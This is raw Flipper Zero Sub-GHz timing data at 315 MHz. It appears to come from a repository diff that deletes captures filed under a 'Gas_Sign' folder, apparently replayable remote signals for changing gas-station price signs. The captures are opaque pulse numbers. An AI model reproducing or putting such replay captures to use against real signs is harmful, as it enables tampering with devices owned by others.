-140 105 -364 103 -370 343 -108 339 -130 359 -124 337 -128 93 -366 131 -366 91 -3742 97 -372 95 -378 123 -352 355 -140 317 -142 333 -124 359 -104 357 -144 105 -362 317 -140 359 -106 335 -126 143 -340 99 -366 123 -390 293 -156 93 -400 105 -334 369 -106 339 -130 357 -124 337 -130 91 -368 133 -364 93 -3750 101 -356 105 -370 93 -384 351 -104 367 -92 377 -94 369 -130 337 -128 95 -368 365 -108 339 -128 357 -124 89 -376 137 -334 125 -356 351 -138 107 -362 105 -370 345 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3750 101 -392 105 -334 127 -352 351 -140 303 -156 313 -126 371 -128 337 -130 93 -368 367 -106 337 -130 355 -126 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 -RAW_Data: 303 -132 359 -124 337 -128 93 -368 131 -366 93 -3744 99 -392 105 -336 125 -356 351 -138 333 -94 377 -94 369 -130 337 -128 95 -368 365 -108 337 -130 355 -124 91 -376 137 -334 127 -356 351 -138 107 -362 105 -370 343 -106 339 -132 357 -126 337 -128 91 -368 131 -366 91 -3750 101 -356 141 -336 125 -352 351 -140 303 -156 315 -126 369 -128 339 -128 93 -370 365 -108 337 -128 355 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -370 343 -142 303 -130 359 -124 337 -130 91 -370 131 -364 93 -3754 99 -344 125 -358 137 -334 369 -92 347 -134 335 -124 371 -96 369 -128 93 -366 345 -126 361 -104 337 -124 123 -360 125 -344 133 -366 325 -140 105 -346 129 -370 347 -124 339 -128 337 -130 337 -126 127 -348 125 -372 95 -3736 95 -364 139 -334 125 -354 349 -140 335 -124 317 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 125 -356 353 -138 105 -362 105 -370 343 -142 301 -132 359 -126 337 -128 91 -370 131 -366 93 -3748 99 -356 143 -334 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 369 -106 339 -130 355 -124 91 -374 139 -334 125 -356 351 -140 105 -364 103 -372 343 -108 337 -132 357 -124 337 -128 91 -368 131 -366 91 -3742 97 -372 125 -346 125 -352 355 -140 317 -142 333 -124 361 -104 357 -144 105 -362 317 -140 357 -108 335 -124 143 -342 99 -366 123 -356 327 -154 93 -400 105 -336 369 -106 337 -130 357 -124 339 -128 91 -370 131 -364 93 -3748 101 -356 141 -336 125 -354 349 -140 331 -94 377 -94 369 -130 337 -128 95 -366 369 -106 337 -130 357 -124 89 -376 139 -332 127 -356 351 -140 105 -362 105 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -364 93 -3742 101 -392 105 -334 129 -356 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 127 -354 353 -138 105 -362 105 -370 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3744 99 -392 105 -334 127 -358 349 -140 333 -92 379 -94 369 -128 339 -128 95 -366 367 -108 337 -130 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 339 -128 91 -368 133 -364 91 -3740 97 -372 125 -346 123 -354 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 317 -140 359 -106 337 -124 143 -342 99 -364 125 -390 293 -154 93 -400 105 -334 369 -106 337 -130 359 -124 337 -128 93 -368 131 -366 93 -3746 -RAW_Data: 95 -372 93 -380 93 -382 353 -106 351 -140 333 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -122 145 -342 97 -364 123 -360 327 -124 123 -360 139 -334 371 -108 337 -130 355 -124 339 -128 91 -368 133 -364 91 -3740 97 -372 127 -346 123 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 351 -104 359 -108 335 -124 143 -340 99 -366 123 -390 323 -124 95 -402 105 -334 369 -106 339 -130 357 -124 337 -130 91 -370 131 -364 91 -3746 99 -392 105 -334 127 -356 349 -140 333 -126 345 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -130 91 -368 131 -364 93 -3744 101 -392 105 -334 127 -356 351 -140 335 -94 377 -94 369 -128 339 -128 93 -368 367 -106 339 -130 355 -124 91 -376 137 -334 125 -356 351 -140 105 -362 105 -370 345 -106 339 -132 357 -124 339 -128 91 -368 131 -364 93 -3752 99 -356 143 -334 125 -352 351 -140 303 -156 313 -126 371 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -368 127 -356 351 -140 105 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3746 99 -392 105 -334 127 -356 351 -140 331 -94 379 -94 369 -128 337 -130 93 -368 367 -108 337 -130 355 -124 91 -376 137 -334 125 -356 351 -138 107 -362 105 -368 347 -106 371 -98 359 -124 337 -128 93 -368 131 -364 91 -3744 101 -390 105 -336 127 -358 351 -138 335 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -374 103 -368 127 -356 351 -138 105 -362 105 -370 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3740 97 -372 95 -378 123 -354 353 -106 351 -142 333 -124 361 -104 357 -108 141 -364 351 -106 361 -106 335 -124 145 -340 99 -364 123 -360 327 -122 123 -362 139 -334 371 -106 339 -130 355 -124 339 -128 91 -368 131 -366 91 -3744 101 -392 105 -334 127 -358 349 -140 335 -126 315 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -370 343 -142 303 -130 359 -126 337 -128 93 -368 131 -366 91 -3748 101 -392 105 -334 127 -354 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 369 -106 337 -130 357 -124 89 -378 137 -334 125 -354 353 -138 107 -362 105 -370 345 -106 339 -130 359 -124 337 -130 91 -368 131 -366 91 -3744 99 -392 105 -336 127 -372 333 -132 331 -124 359 -106 -RAW_Data: 357 -144 333 -94 139 -376 355 -106 343 -102 361 -124 109 -374 97 -362 125 -360 327 -122 141 -344 135 -334 353 -140 335 -128 351 -94 369 -128 91 -368 131 -364 91 -3746 101 -392 105 -334 127 -354 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 365 -108 335 -130 357 -124 91 -376 101 -370 125 -356 351 -140 105 -362 105 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3750 101 -356 141 -334 125 -354 349 -140 333 -92 377 -94 369 -130 337 -128 95 -368 367 -106 339 -130 355 -126 89 -376 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 359 -124 337 -128 91 -370 131 -364 93 -3742 101 -392 105 -334 127 -358 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -368 127 -356 353 -138 105 -364 103 -370 343 -142 303 -130 361 -124 337 -128 93 -368 131 -366 93 -3752 99 -356 141 -334 125 -354 351 -138 333 -92 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 125 -356 353 -140 105 -362 105 -370 343 -106 371 -100 357 -124 339 -128 91 -368 131 -366 91 -3740 97 -372 127 -344 141 -338 351 -142 341 -100 361 -126 359 -104 357 -108 105 -396 319 -140 357 -106 335 -124 109 -376 99 -362 123 -358 327 -158 103 -376 103 -366 327 -140 335 -128 351 -126 359 -104 103 -382 103 -396 69 -3742 99 -392 103 -354 105 -370 327 -140 337 -128 351 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 99 -362 123 -360 327 -122 123 -360 139 -336 371 -106 337 -130 357 -124 359 -104 103 -388 103 -362 103 -3736 99 -392 103 -356 105 -370 361 -108 337 -128 353 -124 339 -128 337 -130 93 -368 367 -106 339 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 103 -370 345 -140 305 -132 359 -124 339 -128 91 -370 131 -364 93 -3748 101 -392 105 -334 127 -354 351 -138 333 -92 379 -94 369 -128 337 -130 93 -368 367 -108 337 -130 357 -124 89 -376 139 -332 127 -356 351 -138 107 -362 105 -370 347 -106 339 -130 357 -124 337 -130 91 -368 131 -364 93 -3740 97 -372 127 -344 125 -354 355 -140 317 -142 333 -124 359 -104 359 -142 107 -362 315 -140 359 -108 335 -124 143 -340 99 -366 123 -388 325 -124 95 -404 103 -334 371 -106 337 -130 355 -126 359 -104 103 -384 103 -394 69 -3748 99 -358 137 -352 107 -366 327 -142 337 -126 353 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 -RAW_Data: 109 -376 97 -364 123 -360 327 -122 141 -342 137 -334 353 -140 337 -126 351 -94 369 -128 93 -368 131 -364 91 -3742 99 -392 105 -334 129 -356 351 -140 333 -126 317 -156 339 -128 339 -128 95 -368 365 -106 339 -130 355 -124 91 -376 101 -370 125 -358 351 -140 105 -362 103 -370 345 -140 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3752 101 -356 105 -370 125 -366 331 -132 331 -124 359 -104 359 -144 335 -94 125 -362 355 -140 355 -106 335 -124 145 -340 97 -362 125 -360 327 -122 123 -362 139 -334 371 -106 339 -128 357 -124 337 -130 91 -368 131 -366 91 -3744 101 -392 105 -334 127 -358 351 -138 335 -126 315 -126 369 -130 337 -128 95 -368 365 -106 337 -130 357 -126 89 -376 103 -368 125 -356 353 -138 107 -362 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3742 95 -372 127 -346 123 -354 353 -106 387 -106 335 -122 361 -104 357 -108 143 -362 353 -104 361 -106 335 -126 143 -342 97 -364 123 -358 327 -124 123 -364 139 -336 369 -108 337 -130 355 -124 339 -128 91 -368 133 -364 91 -3742 95 -372 127 -344 141 -338 353 -142 339 -100 361 -126 359 -104 357 -108 105 -398 317 -140 357 -106 335 -124 109 -376 99 -364 123 -358 327 -124 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -396 67 -3744 99 -392 103 -354 105 -370 327 -140 337 -128 351 -94 391 -104 357 -108 105 -398 319 -142 357 -106 335 -122 109 -376 97 -362 123 -358 357 -92 125 -364 139 -336 369 -108 337 -130 355 -124 339 -128 91 -368 131 -364 93 -3740 97 -372 127 -344 125 -354 355 -106 389 -106 335 -122 361 -104 357 -108 143 -362 353 -104 361 -106 335 -124 145 -340 99 -364 123 -360 327 -122 125 -360 139 -336 371 -106 337 -130 355 -126 337 -128 93 -366 131 -366 91 -3744 99 -392 105 -336 127 -358 349 -140 335 -126 347 -94 369 -128 337 -130 93 -368 367 -106 339 -132 355 -126 89 -376 137 -334 125 -356 351 -140 105 -364 105 -370 343 -108 337 -132 357 -124 337 -130 91 -368 131 -364 93 -3742 97 -372 125 -346 123 -356 353 -140 319 -142 333 -124 359 -104 359 -142 105 -362 353 -104 359 -106 335 -126 141 -342 99 -366 125 -388 323 -126 93 -402 105 -334 371 -106 337 -130 357 -124 359 -104 103 -384 103 -396 69 -3738 99 -392 103 -358 105 -370 361 -108 337 -128 351 -124 339 -128 337 -128 95 -366 369 -106 339 -132 357 -124 91 -376 137 -334 125 -356 351 -140 105 -364 105 -370 -RAW_Data: 343 -108 339 -130 357 -126 337 -128 91 -370 131 -364 91 -3750 101 -392 105 -334 127 -354 349 -140 335 -124 317 -156 339 -128 339 -128 93 -368 367 -106 337 -130 357 -124 89 -378 101 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 359 -124 337 -130 91 -368 133 -364 93 -3752 99 -356 141 -334 125 -354 351 -138 333 -94 377 -96 369 -128 337 -130 93 -368 367 -106 339 -130 357 -124 89 -376 137 -334 127 -356 351 -140 105 -362 105 -372 343 -106 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3748 99 -392 105 -334 127 -356 349 -140 335 -126 315 -158 337 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 353 -138 105 -362 105 -370 343 -142 301 -132 359 -126 337 -128 91 -370 131 -366 93 -3744 101 -392 105 -334 127 -356 349 -140 333 -126 345 -94 369 -128 339 -128 95 -366 369 -106 339 -130 357 -124 91 -376 137 -334 125 -356 351 -138 107 -362 103 -370 347 -106 373 -98 359 -124 337 -128 93 -368 131 -364 93 -3748 101 -392 105 -334 125 -356 349 -140 333 -126 317 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -364 103 -370 343 -142 303 -132 359 -124 339 -128 91 -370 131 -366 91 -3750 99 -392 105 -334 127 -368 333 -134 329 -122 361 -104 359 -144 335 -92 125 -364 355 -140 355 -106 335 -124 143 -340 99 -362 123 -372 319 -134 139 -362 105 -336 373 -106 339 -128 357 -124 337 -128 91 -368 133 -366 91 -3742 97 -372 127 -346 123 -354 355 -140 317 -142 333 -124 359 -106 357 -144 105 -362 351 -104 359 -108 335 -124 143 -340 101 -366 123 -388 325 -124 95 -400 105 -334 371 -106 337 -132 357 -124 337 -130 91 -368 131 -366 93 -3750 101 -356 143 -334 125 -352 351 -140 331 -94 377 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 139 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 359 -124 337 -128 91 -368 131 -366 91 -3750 99 -392 105 -336 125 -356 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 89 -378 101 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3742 99 -392 105 -336 127 -358 351 -140 333 -124 347 -94 369 -128 337 -130 93 -366 369 -106 339 -130 357 -124 91 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 339 -130 357 -126 337 -128 91 -370 131 -364 -RAW_Data: 91 -3742 97 -372 127 -344 141 -338 351 -142 341 -100 361 -124 361 -102 359 -106 107 -396 317 -140 357 -108 335 -124 107 -376 99 -364 123 -390 293 -156 93 -400 105 -334 369 -106 339 -130 357 -126 337 -128 93 -368 131 -366 91 -3752 101 -356 105 -370 125 -366 331 -134 331 -122 337 -128 369 -96 371 -96 125 -370 365 -106 337 -130 353 -124 91 -374 137 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 357 -124 337 -128 93 -368 131 -364 91 -3750 99 -392 105 -336 127 -356 349 -140 333 -126 317 -126 369 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -362 105 -368 345 -140 305 -132 359 -124 339 -128 91 -370 131 -366 91 -3740 97 -372 127 -344 125 -354 353 -140 353 -106 335 -122 361 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -364 123 -358 327 -124 123 -364 139 -334 371 -108 337 -130 355 -124 337 -128 93 -368 131 -366 93 -3742 95 -372 127 -344 141 -338 353 -142 339 -100 361 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 145 -340 97 -364 125 -358 329 -122 139 -344 137 -334 355 -140 335 -126 353 -94 367 -130 91 -368 131 -364 93 -3740 95 -372 127 -346 125 -352 355 -104 353 -142 335 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -362 125 -356 329 -122 125 -362 139 -336 371 -106 337 -130 355 -126 337 -128 91 -370 131 -364 91 -3746 99 -392 105 -336 127 -358 349 -140 333 -126 317 -158 337 -130 337 -128 95 -368 367 -106 337 -130 357 -124 91 -376 101 -368 127 -356 351 -140 105 -362 105 -368 345 -140 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3748 101 -392 105 -334 127 -354 353 -138 333 -94 377 -94 369 -128 339 -128 95 -366 369 -106 337 -130 357 -124 91 -376 137 -334 125 -356 351 -140 107 -362 103 -370 345 -108 339 -130 359 -124 337 -128 93 -368 131 -364 93 -3740 97 -372 127 -344 125 -354 355 -106 353 -142 335 -124 359 -104 359 -106 143 -362 353 -106 359 -108 335 -124 145 -340 97 -364 123 -360 327 -124 123 -360 141 -334 371 -106 339 -130 355 -124 337 -130 91 -368 131 -366 91 -3742 101 -390 105 -336 129 -358 351 -138 335 -126 317 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 361 -124 337 -128 91 -370 131 -366 93 -3742 101 -392 103 -336 127 -358 351 -140 333 -126 -RAW_Data: 345 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 89 -376 139 -334 125 -356 353 -138 107 -362 105 -370 343 -106 339 -132 359 -124 337 -128 91 -368 133 -366 91 -3740 97 -372 127 -346 123 -354 355 -140 319 -142 333 -124 359 -104 359 -142 105 -362 317 -140 359 -106 337 -124 143 -340 99 -366 123 -390 323 -124 95 -402 105 -336 369 -106 337 -130 357 -126 337 -128 93 -368 131 -366 91 -3752 101 -356 141 -334 125 -352 351 -140 333 -92 379 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 139 -334 127 -356 351 -140 105 -362 105 -370 345 -108 337 -132 357 -124 337 -128 91 -370 131 -364 93 -3738 97 -372 127 -342 125 -358 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 351 -106 359 -106 337 -124 143 -340 101 -366 123 -388 325 -124 95 -400 105 -334 371 -106 337 -130 357 -126 337 -128 93 -368 131 -366 93 -3746 99 -392 105 -336 127 -356 349 -140 333 -124 347 -94 367 -130 337 -128 95 -366 369 -106 339 -130 359 -124 89 -376 139 -332 127 -356 351 -138 107 -362 105 -368 347 -106 339 -132 357 -124 339 -128 91 -368 131 -364 93 -3748 99 -392 105 -336 127 -356 351 -138 335 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 353 -138 105 -362 103 -370 345 -140 303 -132 361 -124 339 -128 91 -370 131 -366 91 -3746 97 -372 93 -380 93 -382 353 -104 351 -142 335 -122 361 -104 357 -108 143 -362 351 -106 361 -106 335 -124 145 -342 99 -364 123 -356 359 -92 123 -364 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3744 99 -392 105 -336 127 -360 349 -140 333 -126 317 -158 337 -128 339 -128 95 -368 367 -106 337 -130 355 -126 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 345 -140 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3748 99 -392 105 -336 125 -356 351 -140 333 -92 379 -94 369 -128 339 -128 93 -368 367 -108 337 -130 357 -124 89 -376 139 -334 125 -356 351 -140 105 -364 103 -370 345 -106 371 -100 359 -122 339 -128 91 -368 133 -366 91 -3748 99 -392 105 -336 127 -356 349 -140 333 -126 317 -158 337 -128 339 -128 95 -368 365 -106 339 -130 355 -126 89 -376 103 -368 125 -358 351 -140 105 -362 105 -368 345 -140 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3748 101 -392 105 -334 127 -356 351 -138 333 -94 377 -94 369 -130 337 -130 93 -368 367 -106 339 -130 -RAW_Data: 355 -126 89 -376 137 -334 125 -356 351 -140 107 -362 103 -370 345 -108 339 -130 359 -124 337 -130 91 -368 131 -366 93 -3740 97 -372 125 -346 123 -356 355 -104 391 -106 333 -124 361 -104 357 -108 141 -364 351 -106 359 -108 335 -124 145 -340 99 -364 123 -356 359 -92 123 -364 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3742 97 -372 127 -344 141 -338 353 -142 339 -100 361 -124 359 -104 359 -106 105 -398 315 -140 359 -108 335 -124 109 -378 97 -364 125 -356 329 -122 139 -376 103 -366 325 -140 335 -128 351 -126 359 -104 103 -382 103 -396 69 -3750 97 -360 135 -352 105 -368 327 -140 337 -128 351 -126 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 145 -340 97 -362 123 -358 357 -92 139 -378 103 -336 357 -140 335 -128 351 -94 391 -104 103 -384 103 -360 105 -3738 97 -372 97 -372 129 -338 347 -124 339 -126 371 -128 339 -128 337 -126 95 -390 315 -134 335 -124 343 -126 123 -372 101 -368 93 -386 353 -138 105 -362 105 -370 343 -142 301 -132 361 -124 337 -128 91 -370 131 -366 91 -3754 101 -356 141 -334 125 -366 331 -134 331 -122 339 -126 371 -96 369 -96 127 -368 365 -106 339 -128 355 -92 121 -376 137 -334 125 -356 351 -140 105 -362 105 -372 343 -106 339 -132 357 -124 337 -128 93 -368 131 -366 91 -3752 99 -392 105 -334 127 -370 331 -134 331 -122 337 -128 369 -96 371 -96 125 -370 363 -108 337 -128 355 -124 89 -376 137 -334 127 -354 353 -138 107 -362 105 -370 343 -106 371 -98 359 -124 337 -128 93 -368 131 -366 93 -3748 101 -392 105 -334 127 -370 331 -134 331 -124 337 -126 371 -96 369 -98 125 -370 363 -108 337 -128 353 -124 91 -374 139 -332 127 -354 353 -138 107 -362 105 -370 343 -106 373 -98 359 -124 337 -128 93 -368 131 -364 91 -3754 99 -344 125 -362 141 -336 367 -92 347 -134 335 -124 343 -126 369 -130 91 -368 343 -126 359 -104 337 -124 125 -394 105 -334 127 -372 331 -134 103 -394 71 -370 367 -106 337 -130 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 127 -344 123 -356 355 -140 353 -106 335 -124 359 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -364 123 -358 327 -122 125 -362 141 -334 371 -106 339 -130 355 -124 337 -128 93 -368 131 -366 93 -3742 99 -392 105 -336 129 -358 349 -140 335 -126 317 -156 339 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 107 -362 -RAW_Data: 103 -370 343 -142 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3754 101 -356 107 -368 125 -366 331 -134 329 -124 361 -104 359 -142 335 -94 125 -364 353 -140 355 -108 333 -124 145 -340 99 -362 125 -360 327 -122 123 -360 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3748 99 -392 105 -336 127 -358 349 -140 333 -126 317 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 137 -334 125 -356 353 -138 105 -364 103 -370 343 -142 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3750 99 -392 105 -336 125 -356 351 -138 333 -94 377 -94 369 -130 337 -130 93 -368 367 -106 337 -132 355 -124 91 -376 137 -336 125 -356 353 -138 107 -362 103 -370 347 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3740 97 -372 127 -344 125 -356 355 -140 317 -142 333 -124 359 -106 357 -144 105 -362 351 -104 359 -108 335 -124 143 -340 99 -368 123 -388 323 -126 95 -382 105 -368 347 -140 337 -100 361 -124 339 -128 91 -370 131 -364 93 -3748 99 -392 105 -336 127 -356 351 -140 333 -126 345 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 91 -374 139 -334 125 -356 351 -140 105 -362 105 -370 347 -106 339 -132 357 -124 337 -130 91 -368 131 -364 93 -3744 101 -392 105 -334 129 -358 349 -140 335 -126 315 -158 337 -130 337 -128 95 -368 365 -106 337 -130 357 -126 89 -376 103 -368 125 -358 351 -140 105 -362 105 -368 345 -140 305 -132 359 -126 337 -128 91 -370 131 -366 93 -3750 101 -392 105 -334 127 -352 351 -140 333 -92 379 -94 369 -128 339 -128 93 -368 369 -106 337 -130 357 -124 91 -376 137 -334 125 -356 351 -140 107 -362 103 -370 345 -108 371 -98 359 -124 337 -130 91 -368 131 -364 93 -3744 99 -392 105 -336 127 -358 351 -140 335 -126 315 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -364 103 -370 343 -142 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3740 97 -372 127 -344 123 -356 355 -140 353 -106 333 -124 361 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -364 123 -358 357 -92 125 -364 141 -334 369 -108 337 -130 355 -126 337 -128 91 -370 131 -364 91 -3750 99 -392 105 -336 127 -356 351 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 359 -126 337 -128 91 -370 -RAW_Data: 131 -366 93 -3748 99 -392 105 -336 125 -356 351 -140 331 -126 347 -94 369 -128 337 -130 93 -366 369 -106 339 -132 357 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 371 -100 357 -124 339 -128 91 -368 131 -366 91 -3752 101 -392 105 -334 125 -370 333 -134 331 -122 361 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 109 -374 99 -362 123 -360 327 -122 141 -342 137 -334 355 -140 335 -126 351 -94 369 -128 93 -368 131 -364 91 -3750 101 -392 105 -334 127 -352 351 -140 333 -126 317 -126 369 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 345 -140 303 -132 361 -124 337 -128 91 -370 131 -366 93 -3744 99 -392 105 -336 127 -358 351 -138 333 -126 347 -94 369 -128 337 -130 93 -368 367 -108 337 -132 357 -124 91 -376 137 -334 125 -356 351 -140 107 -362 105 -370 343 -108 339 -130 359 -124 337 -130 91 -368 131 -366 93 -3740 97 -372 125 -344 125 -356 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 351 -106 359 -106 337 -124 143 -342 99 -366 123 -390 323 -124 95 -402 105 -334 369 -108 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3748 101 -392 105 -334 127 -370 331 -134 331 -122 361 -104 359 -144 333 -94 125 -364 355 -140 355 -106 335 -124 145 -340 97 -364 123 -372 317 -134 141 -362 105 -336 371 -108 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3754 99 -394 105 -334 125 -368 331 -134 331 -124 359 -106 357 -144 333 -94 125 -364 355 -140 355 -108 333 -124 145 -340 97 -362 125 -356 329 -122 125 -362 139 -336 371 -106 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3742 101 -390 105 -336 129 -358 349 -140 335 -126 315 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -126 89 -376 103 -368 125 -358 351 -140 105 -362 105 -368 345 -140 305 -132 359 -124 337 -130 91 -368 133 -366 91 -3750 99 -392 105 -336 125 -370 333 -132 331 -124 359 -106 357 -144 335 -94 125 -364 353 -140 355 -106 335 -124 145 -340 99 -362 123 -358 357 -92 123 -366 139 -334 371 -108 337 -130 355 -124 337 -128 93 -368 131 -366 93 -3746 101 -392 105 -334 127 -358 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -358 351 -140 105 -362 103 -370 345 -140 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3748 101 -392 105 -334 127 -370 333 -134 -RAW_Data: 329 -122 361 -104 359 -144 335 -94 125 -364 353 -140 355 -106 335 -124 145 -340 97 -364 123 -360 327 -124 123 -360 139 -336 371 -106 337 -130 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 127 -344 125 -356 355 -140 319 -142 333 -124 359 -106 357 -144 105 -362 351 -104 359 -108 335 -124 141 -342 99 -368 123 -388 323 -124 97 -382 93 -382 351 -106 347 -140 333 -124 361 -104 139 -354 103 -396 69 -3746 99 -394 101 -354 105 -370 327 -142 335 -128 353 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 145 -340 97 -364 123 -358 357 -92 137 -378 103 -336 355 -140 337 -128 351 -94 391 -104 103 -384 105 -360 103 -3738 99 -394 101 -356 105 -370 363 -106 339 -128 351 -94 369 -128 337 -130 93 -368 369 -106 339 -130 357 -124 91 -376 137 -334 127 -356 351 -140 105 -362 105 -370 345 -108 337 -132 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 127 -344 123 -358 355 -140 319 -140 333 -126 359 -104 diff --git a/assets/resources/subghz/Gas_Sign/Down_gas.sub b/assets/resources/subghz/Gas_Sign/Down_gas.sub deleted file mode 100644 index a493f13c8..000000000 --- a/assets/resources/subghz/Gas_Sign/Down_gas.sub +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 61 -703 361 -676198 165 -322 155 -338 129 -338 345 -124 355 -124 339 -128 337 -128 337 -94 125 -370 327 -128 355 -94 367 -130 91 -368 129 -330 123 -376 319 -132 105 -396 105 -334 369 -108 337 -126 97 -368 105 -368 93 -384 95 -370 129 -3672 139 -338 127 -358 123 -340 349 -132 331 -124 337 -128 337 -128 337 -126 95 -384 319 -134 335 -124 341 -126 121 -372 101 -366 93 -380 319 -134 105 -396 105 -334 369 -106 337 -128 97 -384 91 -380 101 -366 93 -382 95 -3706 137 -340 135 -334 123 -356 329 -122 355 -140 323 -144 305 -126 351 -140 105 -360 331 -126 351 -94 369 -96 123 -368 95 -364 123 -376 317 -134 139 -360 107 -334 369 -108 337 -126 97 -370 103 -370 93 -384 93 -372 129 -3706 91 -378 103 -336 123 -376 351 -104 337 -122 339 -128 337 -128 337 -128 125 -348 353 -138 303 -124 343 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 369 -106 339 -128 95 -372 105 -368 93 -384 93 -372 129 -3706 91 -346 135 -336 123 -378 349 -104 337 -124 339 -126 337 -128 339 -126 127 -344 355 -140 331 -94 345 -126 121 -372 101 -368 91 -382 349 -102 143 -362 105 -336 371 -106 339 -128 95 -370 139 -334 93 -384 93 -372 129 -3710 105 -336 129 -358 123 -360 327 -122 337 -126 339 -128 337 -128 337 -126 93 -378 349 -130 329 -124 337 -130 91 -368 131 -366 93 -380 319 -134 103 -396 105 -336 335 -140 337 -128 97 -370 103 -368 93 -386 95 -372 95 -3738 105 -368 97 -362 93 -370 349 -132 331 -124 337 -128 337 -128 337 -128 125 -350 351 -104 335 -124 341 -126 121 -372 101 -366 91 -382 351 -102 141 -362 105 -336 369 -108 337 -128 97 